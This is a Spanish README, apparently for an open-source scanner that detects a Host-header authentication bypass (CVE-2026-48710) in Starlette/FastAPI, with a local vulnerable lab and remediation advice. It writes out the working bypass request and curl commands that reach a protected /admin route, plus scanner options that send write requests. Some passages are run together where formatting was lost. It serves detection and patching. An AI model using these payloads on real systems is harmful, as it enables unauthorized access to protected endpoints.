
Escáner de detección para CVE-2026-48710 - Bypass de autenticación del encabezado Host en Starlette/FastAPI
Escáner de solo detección para la omisión de autenticación BadHost en Starlette / FastAPI — donde el middleware de autenticación lee request.url.path en lugar de request.scope["path"], permitiendo que una cabecera Host manipulada introduzca una ruta permitida y omita la autenticación.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette ve request.url.path == "/health" → permitido
# ASGI aún enruta a /admin → omitido
Afectado: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Corregido en: Starlette 0.46.2+
https://host/path) — la ruta se extrae automáticamente como sondaHost como X-Forwarded-Host, dos estrategias de payload--preset ai) y MCP (--preset mcp)--json, --csvbadhost_vuln_lab/)Incluye dos aplicaciones FastAPI para validación local:
| App | URL | Auth lee |
|---|---|---|
| Vulnerable | http://127.0.0.1:8000 | request.url.path — omitido |
| Corregida | http://127.0.0.1:8001 | request.scope["path"] — segura |
cd badhost_vuln_lab
docker compose up --build
O sin Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — omitido
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — corregido
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no necesita pip install
# URL completa única — la ruta se extrae automáticamente, sin banderas adicionales
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Múltiples URLs completas
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Añadir rutas adicionales sobre una URL completa
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Escaneo de solo lectura desde openapi.json local
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Incluir métodos de escritura (solo staging/autorizado)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Obtener OpenAPI directamente desde el objetivo
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Múltiples objetivos, salida CSV
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# Rutas predefinidas AI/LLM + MCP (no necesita OpenAPI)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidenvía{}para métodos de escritura — provoca422de FastAPI después de la omisión de autenticación sin ejecutar el endpoint. Un resultadobaseline=403 test=422sigue siendo un hallazgo SOSPECHOSO que vale la pena investigar.
No use--openapi-body-mode minimalen producción — construye cuerpos de solicitud válidos que pueden ejecutar endpoints de escritura.
Solo CONFIRMADO y SOSPECHOSO aparecen en la salida. Código de salida 2 = CONFIRMADO, 1 = SOSPECHOSO, 0 = limpio.
# Vulnerable
if request.url.path.startswith("/public"):
...
# Corregido
if request.scope["path"].startswith("/public"):
...
Actualice a Starlette 0.46.2+ / FastAPI 0.116.0+.
Solo para pruebas autorizadas. Escanee únicamente sistemas que posea o para los que tenga permiso explícito.
| Veredicto | Significado |
|---|
CONFIRMADO | Baseline 401/403 → prueba 2xx. Vulnerable. |
SOSPECHOSO | Baseline 401/403 → prueba 404/405/422. La puerta de autenticación parece omitida; verificar manualmente. 422 de FastAPI es especialmente significativo. |
RECHAZADO | Proxy rechazó Host malformado (400/421) antes de la omisión |
BLOQUEADO | Solicitud manipulada aún denegada |
ABIERTO | Ya accesible sin autenticación — no es este CVE |